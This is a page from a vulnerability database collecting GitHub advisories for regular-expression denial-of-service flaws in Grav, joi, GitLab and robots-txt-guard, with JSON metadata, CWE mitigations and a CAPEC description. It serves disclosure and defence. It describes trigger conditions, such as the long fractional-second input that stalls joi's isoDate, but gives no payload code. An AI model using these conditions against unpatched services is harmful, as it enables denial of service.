  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "robots-txt-guard Inefficient Regular Expression Complexity vulnerability"
}

GHSA-6GQG-9QJP-56JM

Vulnerability from github – Published: 2026-07-17 03:31 – Updated: 2026-07-17 03:31
VLAI
Details

Grav before 2.0.4 contains a regular expression denial of service (ReDoS) vulnerability in the regex_replace filter and function, which are allowlisted in the Twig content sandbox. When Twig processing in page content is enabled (security.twig_content.process_enabled: true, disabled by default), an authenticated page editor can supply a catastrophically backtracking PCRE pattern that is passed directly to PHP's preg_replace(), causing unbounded CPU consumption and denial of service to the web server process.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-62237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T02:18:11Z",
    "severity": "MODERATE"
  },
  "details": "Grav before 2.0.4 contains a regular expression denial of service (ReDoS) vulnerability in the regex_replace filter and function, which are allowlisted in the Twig content sandbox. When Twig processing in page content is enabled (security.twig_content.process_enabled: true, disabled by default), an authenticated page editor can supply a catastrophically backtracking PCRE pattern that is passed directly to PHP\u0027s preg_replace(), causing unbounded CPU consumption and denial of service to the web server process.",
  "id": "GHSA-6gqg-9qjp-56jm",
  "modified": "2026-07-17T03:31:24Z",
  "published": "2026-07-17T03:31:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-37f3-6p89-6qr9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62237"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-redos-via-regex-replace-in-sandbox"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6H2X-M376-MQJQ

Vulnerability from github – Published: 2026-09-29 18:07 – Updated: 2026-10-05 23:31
VLAI
Summary
joi: Quadratic regular-expression backtracking in `Joi.string().isoDate()`
Details

Impact

Any application that validates a user-supplied string with Joi.string().isoDate() can be stalled by a single request. One of the regular expressions the rule runs over the input was unanchored, so a valid ISO date followed by a long run of fractional-second digits made the regex engine restart its search from every position in the string, costing time proportional to the square of the input length. 64 KB of digits costs about 1.4 s and 256 KB about 22 s.

Patches

Upgrade to version 17.13.7 or 18.2.6 depending on your current major version.

Workarounds

None except capping the length of the string before it reaches joi.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "joi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "17.2.0"
            },
            {
              "fixed": "17.13.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "joi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "18.0.0"
            },
            {
              "fixed": "18.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92599"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-29T18:07:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nAny application that validates a user-supplied string with `Joi.string().isoDate()` can be stalled by a single request. One of the regular expressions the rule runs over the input was unanchored, so a valid ISO date followed by a long run of fractional-second digits made the regex engine restart its search from every position in the string, costing time proportional to the square of the input length. 64 KB of digits costs about 1.4 s and 256 KB about 22 s.\n\n### Patches\nUpgrade to version 17.13.7 or 18.2.6 depending on your current major version.\n\n### Workarounds\nNone except capping the length of the string before it reaches joi.",
  "id": "GHSA-6h2x-m376-mqjq",
  "modified": "2026-10-05T23:31:10Z",
  "published": "2026-09-29T18:07:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hapijs/joi/security/advisories/GHSA-6h2x-m376-mqjq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92599"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hapijs/joi/pull/3143"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hapijs/joi/pull/3145"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hapijs/joi/commit/115e7b58d5eaaecc5e9b7093d41899ad6fb053ec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hapijs/joi/commit/e70df424c367f2976db63b089504413744a21245"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hapijs/joi"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/joi-before-17.13.7-and-18.2.6-redos-via-isodate"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "joi: Quadratic regular-expression backtracking in `Joi.string().isoDate()`"
}

GHSA-6HCH-MPJP-2743

Vulnerability from github – Published: 2024-01-26 03:30 – Updated: 2024-01-26 03:30
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions from 12.7 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 It was possible for an attacker to trigger a Regular Expression Denial of Service via a Cargo.toml containing maliciously crafted input.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-6159"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-26T02:15:07Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions from 12.7 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 It was possible for an attacker to trigger a Regular Expression Denial of Service via a `Cargo.toml` containing maliciously crafted input.",
  "id": "GHSA-6hch-mpjp-2743",
  "modified": "2024-01-26T03:30:19Z",
  "published": "2024-01-26T03:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6159"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2251278"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/431924"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Mitigation
System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.

Mitigation
Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Mitigation
Implementation

Limit the length of the input that the regular expression will process.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.